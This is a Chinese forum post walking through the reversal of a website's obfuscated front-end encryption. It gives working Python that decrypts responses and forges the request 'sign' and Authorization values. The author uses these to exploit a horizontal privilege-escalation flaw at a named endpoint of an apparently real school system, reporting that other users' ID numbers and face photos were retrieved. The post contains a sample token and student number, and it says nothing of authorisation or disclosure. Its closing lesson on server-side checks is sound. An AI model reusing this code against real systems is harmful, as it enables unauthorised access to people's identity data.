找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4669

积分

0

好友

670

主题
发表于 1 小时前 | 查看: 4| 回复: 0

前端加密逆向与越权漏洞实战

一、原始抓包

1.1 抓包操作

在输入框内输入任意字符(此处输入“学”),鼠标移开后,前端会自动发起接口请求。重点分析请求包结构:

  • 请求头:需重点关注 Authorization: 6672725565af813709f717bde6f5e8c2 字段,这是请求防篡改校验值,具体逻辑后文详解。
  • 请求体:分为两部分,sign 参数为请求防篡改校验值;除 sign 外的其余参数为业务逻辑参数。

Burp Suite拦截请求与Authorization字段截图

1.2 抓包结果分析

核心响应内容均已加密,重点关注 returnObjectsign 字段:

  • sign 字段:用于防止响应数据被篡改;
  • returnObject 字段:存储加密后的核心响应内容。为开展后续测试,必须对 returnObject 字段进行解密。

响应数据中returnObject加密内容截图

二、returnObject字段数据解密

2.1 基础操作

首先,在浏览器按 F12 打开开发者工具,切换至源代码面板。

开发者工具Sources面板全局搜索截图

按下 Ctrl+Shift+F 调出全局搜索框,通过关键词搜索定位目标函数。若不清楚搜索关键词,可借助AI辅助查找。

AI推荐搜索关键词指南截图

通过AI推荐,最终使用 decrypt(解密)关键词检索到目标代码。

2.2 目标文件排查

搜索结果包含3个文件,逐一分析(可让AI辅助):

  1. app.1767143497277.js:业务主逻辑文件,包含页面交互、接口请求、数据加解密等核心代码,是自定义解密函数的核心载体;
  2. chunk-vendors.1767143497277.js:第三方依赖打包文件,仅包含CryptoJS等加密库的原生方法,无业务层解密逻辑;
  3. xlsx.full.min.js:Excel处理库,与加解密无关,直接排除。

搜索结果中的三个文件列表截图

结论:优先排查 app.1767143497277.js,其次核查 chunk-vendors.1767143497277.js

2.3 具体函数排查

app.1767143497277.js 中检索 decrypt,优先排查函数名包含关键词的代码,最终定位到4个函数:decryptdecryptObjdecryptChangeObjdecrypt30

四个解密候选函数代码片段

为这4个函数添加断点,重新执行网页操作(即1.1节的输入字符步骤),代码执行至 decryptChangeObj 函数时触发断点,证明该函数被调用,需进一步验证其是否为解密函数。

decryptChangeObj函数触发断点截图

2.4 解密函数验证

第一步:仅为 decryptChangeObj 函数添加断点,切换至网络面板,清空历史请求日志。

decryptChangeObj函数单独断点调试

网络面板清空状态

第二步:重新执行输入操作,代码触发断点,查看传入参数 _0x3496ef

传入参数_0x3496ef查看截图

第三步:在控制台打印 _0x3496ef,通过 Ctrl+F 与响应中的 returnObject 字段比对,确认二者完全一致。

控制台打印参数与returnObject比对

响应内容中returnObject密文确认

再次确认参数完全匹配

第四步:单步执行代码,执行至 var _0x11e4c7 = _0x219633'split'; 时,加密的响应数据已被解密为明文,并赋值给变量 _0x11e4c7

单步执行解密变量赋值截图

解密后明文数据输出展示

明文数据详细结构截图

由此可确认:decryptChangeObj 为核心解密函数,接下来分析其解密逻辑。

2.5 解密逻辑分析(反混淆)

该代码经过OB混淆处理,变量名为无意义的数组格式,需先反混淆。

OB混淆后的decryptChangeObj原始代码

  1. app.1767143497277.js 全量代码复制至反混淆工具 https://obf-io.deobfuscate.io/ 完成初步还原。
  2. 借助AI对剩余混淆变量名做语义化重命名,得到清晰的解密代码。

反混淆工具运行结果截图1
反混淆工具运行结果截图2

反混淆后核心代码

1. 解密主函数 decryptChangeObj
'decryptChangeObj': function (encryptedStr) { // encryptedStr:待解密的加密字符串
  try {
    if (null != encryptedStr && '' != encryptedStr) {
      // 1. 截取加密字符串前64个字符(密钥原料)
      const keyRaw = encryptedStr.substring(0, 64); 

      // 2. 调用getKeys生成「分隔符 + AES密钥」的数组
      const keyAndSeparator = this.getKeys(keyRaw); 

      // 3. 截取64字符后的部分 → 真正的AES密文
      const aesCiphertext = encryptedStr.substring(64); 

      // 4. 解析AES密钥(CryptoJS标准格式)
      const aesKey = CryptoJS.enc.Utf8.parse(keyAndSeparator[1]); 

      // 5. 核心:AES-ECB模式解密(PKCS7填充)
      const decryptedBytes = CryptoJS.AES.decrypt(
        aesCiphertext,  // 待解密密文
        aesKey,         // AES解密密钥
        {
          'mode': CryptoJS.mode.ECB,        // 加密模式:ECB(无IV向量)
          'padding': CryptoJS.pad.Pkcs7     // 填充方式:PKCS7
        }
      );

      // 6. 转换为明文字符串
      const decryptedStr = CryptoJS.enc.Utf8.stringify(decryptedBytes).toString();

      // 7. 用分隔符分割明文,返回第一个片段
      const splitResult = decryptedStr.split(keyAndSeparator[0]);
      return splitResult[0];
    }
    return '';
  } catch (error) {
    console.log(error);
    return "JM99999";
  }
},

通过分析该函数的逻辑可知,函数会先从原始密文中提取前64位字符,随后调用 getKeys 函数,将这64位字符拆分为分隔符和AES密钥,最终使用密钥对密文去除前64位后的剩余部分执行解密操作。因此,我们需要进一步分析 getKeys 函数,理清其对前64位字符的具体处理规则。可以在开发者工具中直接搜索 getKeys,该函数就位于 decryptChangeObj 函数的上方。

getKeys函数源代码位置截图

2. 密钥生成函数 getKeys

反混淆后的 getKeys 代码:

'getKeys': function (keyRaw) {
  let separatorStr = ''; // 分割明文的分隔符
  let aesKeyStr = '';    // AES解密密钥

  // 第一阶段:0~19位,奇偶位拆分
  for (let i = 0; i < 20; i++) {
    if (i % 2 === 0) separatorStr += keyRaw[i];
    else aesKeyStr += keyRaw[i];
  }

  // 第二阶段:20~39位,步长2交替拆分
  let flag = true;
  for (let j = 20; j < 40; j += 2) {
    if (flag) {
      separatorStr += keyRaw[j] + keyRaw[j + 1];
      flag = false;
    } else {
      aesKeyStr += keyRaw[j] + keyRaw[j + 1];
      flag = true;
    }
  }

  // 第三阶段:40~59位,奇偶位拆分
  for (let k = 40; k < 60; k++) {
    if (k % 2 === 0) separatorStr += keyRaw[k];
    else aesKeyStr += keyRaw[k];
  }

  // 最后4位固定分配
  separatorStr += keyRaw[60] + keyRaw[61];
  aesKeyStr += keyRaw[62] + keyRaw[63];

  return [separatorStr, aesKeyStr];
},

Python 解密实现

下面用Python完整还原解密逻辑:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii

def get_keys(hex_str):
    """还原JS getKeys逻辑,提取分隔符和AES密钥"""
    part1 = ''
    part2 = ''

    # 0-19位
    for i in range(20):
        if i % 2 == 0: part1 += hex_str[i]
        else: part2 += hex_str[i]

    # 20-39位
    flag = True
    for i in range(20, 40, 2):
        if flag:
            part1 += hex_str[i] + hex_str[i+1]
            flag = False
        else:
            part2 += hex_str[i] + hex_str[i+1]
            flag = True

    # 40-59位
    for i in range(40, 60):
        if i % 2 == 0: part1 += hex_str[i]
        else: part2 += hex_str[i]

    # 最后4位
    part1 += hex_str[60] + hex_str[61]
    part2 += hex_str[62] + hex_str[63]
    return [part1, part2]

def decrypt_change_obj(cipher_text):
    """还原JS decryptChangeObj解密逻辑"""
    try:
        if not cipher_text:
            return ""
        key_hex = cipher_text[:64]
        key_parts = get_keys(key_hex)
        encrypted_data = cipher_text[64:]

        # AES-ECB解密
        key = key_parts[1].encode('utf-8').ljust(32, b'\0')[:32]
        cipher = AES.new(key, AES.MODE_ECB)
        encrypted_bytes = binascii.a2b_base64(encrypted_data)
        decrypted_bytes = unpad(cipher.decrypt(encrypted_bytes), AES.block_size)
        decrypted_str = decrypted_bytes.decode('utf-8')

        split_char = key_parts[0]
        return decrypted_str.split(split_char)[0] if split_char in decrypted_str else decrypted_str
    except Exception as e:
        print(f"解密失败: {e}")
        return "JM99999"

# 测试:替换为实际returnObject密文
if __name__ == "__main__":
    test_cipher_text = "你的密文"
    print(decrypt_change_obj(test_cipher_text))

至此,完整解密链路梳理完成:decryptChangeObj(解密主函数)+ getKeys(密钥生成函数)。

三、越权漏洞说明

成功解密响应数据后,即可对目标网站开展渗透测试。测试流程:遍历网站各个功能点,点击测试并抓取请求包,解密响应数据后分析内容。

测试过程中发现一个接口存在水平越权漏洞风险:

可能存在越权的接口请求截图

  • 接口地址:/tdwx-fr/ywcl/getPerinfoByConditions
  • 接口作用:登录后页面刷新时,获取当前用户的个人身份信息
  • 请求头:Authorization 为身份令牌/权限校验凭证,相当于接口访问的「门禁卡」 Authorization: 4ff7511170701fd193160b9212220afd
  • 请求参数:包含 sno(学校编号)、credno1(学号)、sign(防篡改签名)

请求体示例:

{"sno":"xxx201xxxx","credno1":"250524026","sign":"VvltMJq2VqN2grBTTr9VqbKeiXGZCV4tQtV0QZVFhNf71CKWcjKOIO4pOU0w6rGzuY1jOmXdqv6wpt7UAyraM6g2htdwd5yExsgjeIPZsNBjcW6iiEf1KvHEVwWKK84pIs+Z34ckomDxhQC2TK9N9pYuUnr5mgMLB1OX/gNxYYMks4rEp2Vxr3Vset4YSmsXo1K+yuviqC0ZpxlJ2SZUQSclwnMJFP25jahdbG4lKeE35CclyWqq2sljctfBY7dlnQn56ssu3IuD/FL42c3UkDmwHNUabbQpV1kkiTrHrAMnJcJzCRT9uY2oXWxuJSnhP13PKHzIki2IvNX54kJHn/r3dfLnOmRA8oeMk44tfO8="}
  • 解密后响应:包含学号、身份证、Base64编码的人脸照片等敏感个人信息

解密后返回的敏感信息截图

漏洞挖掘思路

该接口仅需传入学号即可返回敏感信息,推测修改学号参数可获取他人信息。但直接修改请求参数会触发服务器“参数错误”提示,原因是:仅修改了请求体参数,未重新生成对应的 sign 签名,旧签名与新参数不匹配,导致校验失败。

直接修改参数后服务器返回参数错误截图

因此,测试该越权漏洞的核心是:还原 sign 的生成逻辑。

四、sign签名生成

还原 sign 生成逻辑的步骤较为简单:全局搜索 sign 关键词,直接定位到 getSign 函数(合理推测),该函数为签名生成核心函数。

定位到getSign函数截图

反混淆后 getSign 核心代码

'getSign': function (param1, param2) {
  // 1. 对请求参数做哈希(具体是何种哈希未知)
  const param2Hash = _0x56f879()(param2); 

  // 2. 生成两个32位随机密钥
  const randomKey1 = this.generateRandomKey(32);
  const randomKey2 = this.generateRandomKey(32);

  // 3. 解析AES密钥
  const aesKey = CryptoJS.enc.Utf8.parse(randomKey2);

  // 4. 拼接签名原始字符串
  const signRawContent = CryptoJS.enc.Utf8.parse(
    param1 + randomKey1 + param2 + randomKey1 + param2Hash + randomKey1 + new Date().getTime()
  );

  // 5. AES-ECB加密签名串
  const aesEncryptedResult = CryptoJS.AES.encrypt(
    signRawContent, aesKey,
    { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }
  );

  // 6. 生成混淆密钥
  const confoundKey = this.getConfoundKey(randomKey1, randomKey2);

  // 7. 最终sign = 混淆密钥 + 加密结果
  return confoundKey + aesEncryptedResult.toString();
},

关键逻辑验证

  1. 哈希算法确认:在代码行添加断点,控制台调用 _0x56f879()('123456'),比对哈希值后确认为MD5哈希。

  2. 随机密钥函数generateRandomKey 用于生成指定长度的随机字符串(大小写字母+数字),反混淆后:

// 反混淆后的generateRandomKey函数(全局搜索可得)
'generateRandomKey': function (length) {
  let randomKey = '';
  const charSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
  for (let i = 0; i < length; i++) {
    const randomIndex = Math.floor(Math.random() * charSet.length);
    randomKey += charSet.charAt(randomIndex);
  }
  return randomKey;
},
  1. 混密钥函数getConfoundKey 按固定规则拼接两个随机密钥,生成64位混淆串。
/**
 * 混淆两个32位随机密钥,生成64位混淆字符串(全局搜索可得)
 */
'getConfoundKey': function (randomKey1, randomKey2) {
  let confoundedKey = '';
  // 第一阶段:索引0~9
  for (let i = 0; i < 10; i++) {
    confoundedKey += randomKey1[i];
    confoundedKey += randomKey2[i];
  }
  // 第二阶段:索引10~19步长2
  for (let i = 10; i < 20; i += 2) {
    confoundedKey += randomKey1[i];
    confoundedKey += randomKey1[i + 1];
    confoundedKey += randomKey2[i];
    confoundedKey += randomKey2[i + 1];
  }
  // 第三阶段:索引20~29
  for (let i = 20; i < 30; i++) {
    confoundedKey += randomKey1[i];
    confoundedKey += randomKey2[i];
  }
  // 最后两位
  confoundedKey += randomKey1[30];
  confoundedKey += randomKey1[31];
  confoundedKey += randomKey2[30];
  confoundedKey += randomKey2[31];
  return confoundedKey;
}

Python签名生成实现

import random
import string
import hashlib
import time
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

def generate_random_key(length: int) -> str:
    """生成指定长度随机密钥"""
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join(random.choice(chars) for _ in range(length))

def get_confound_key(random_key1: str, random_key2: str) -> str:
    """还原混淆密钥逻辑"""
    confound_key = ''
    # 0~9位
    for i in range(10):
        confound_key += random_key1[i] + random_key2[i]
    # 10~19位
    for i in range(10, 20, 2):
        confound_key += random_key1[i] + random_key1[i+1] + random_key2[i] + random_key2[i+1]
    # 20~29位
    for i in range(20, 30):
        confound_key += random_key1[i] + random_key2[i]
    # 最后两位
    confound_key += random_key1[30] + random_key1[31] + random_key2[30] + random_key2[31]
    return confound_key

def aes_ecb_encrypt(raw_str: str, aes_key: str) -> str:
    """AES-ECB加密"""
    raw_bytes = raw_str.encode('utf-8')
    key_bytes = aes_key.encode('utf-8')
    cipher = AES.new(key_bytes, AES.MODE_ECB)
    padded_data = pad(raw_bytes, AES.block_size)
    encrypted_bytes = cipher.encrypt(padded_data)
    return base64.b64encode(encrypted_bytes).decode('utf-8')

def generate_sign(api_path: str, request_params: dict) -> str:
    """完整生成sign"""
    # 1. 参数转JSON字符串(无空格)
    json_params_str = json.dumps(request_params, separators=(',', ':'))
    # 2. MD5哈希
    params_hash = hashlib.md5(json_params_str.encode('utf-8')).hexdigest()
    # 3. 生成随机密钥
    random_key1 = generate_random_key(32)
    random_key2 = generate_random_key(32)
    # 4. 拼接签名原串
    timestamp = str(int(time.time() * 1000))
    sign_raw_str = api_path + random_key1 + json_params_str + random_key1 + params_hash + random_key1 + timestamp
    # 5. AES加密
    aes_encrypted = aes_ecb_encrypt(sign_raw_str, random_key2)
    # 6. 生成混淆密钥
    confound_key = get_confound_key(random_key1, random_key2)
    # 7. 最终签名
    return confound_key + aes_encrypted

# 测试
if __name__ == "__main__":
    api_path = "/ywcl/getPerinfoByConditions"
    request_params = {"sno": "xxxx010482", "credno1": "250524025"}
    sign = generate_sign(api_path, request_params)
    print("生成的sign:", sign)

五、请求测试

已成功实现 sign 生成,修改参数并携带新 sign 发起请求后,服务器仍未返回有效响应。原因:请求头中的 Authorization 字段同样参与防篡改校验,需还原其生成逻辑。

Authorization生成逻辑

  1. 全局搜索 Authorization,定位到3处赋值代码,为其添加断点。
  2. 重新操作网页,代码触发第一处断点:传入参数为请求体中的 snocredno1,返回值为MD5格式哈希。

第一处Authorization生成断点截图

  1. 控制台验证:_0x35b902() 为MD5哈希函数。

控制台验证MD5哈希截图

漏洞利用

修改请求体参数 → 生成对应 Authorization(参数MD5) → 生成对应 sign → 发起请求。

最终成功利用水平越权漏洞,获取他人敏感信息。

成功利用越权获取他人信息截图

六、总结与反思

本次实战完整完成了前端加密逆向+越权漏洞挖掘全流程:

  1. 通过抓包定位加密字段,利用浏览器开发者工具+反混淆工具,还原了 returnObject 的AES解密逻辑;
  2. 逆向分析 sign 签名的生成规则,覆盖随机密钥、MD5哈希、AES加密、字符混淆全流程;
  3. 补全 Authorization 的MD5校验逻辑,最终成功绕过参数防篡改机制,利用水平越权漏洞获取敏感数据。

整个过程印证了:前端加密仅能增加攻击成本,无法完全保障数据安全;接口权限校验必须在服务端严格实现,仅依赖前端参数校验极易出现越权漏洞。类似的技术实战与深度交流,也欢迎在云栈社区与各位同行探讨。




上一篇:JSON、Protobuf与MessagePack序列化实测:凭什么体积差4倍,速度差5倍?
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-6-5 02:46 , Processed in 0.629574 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表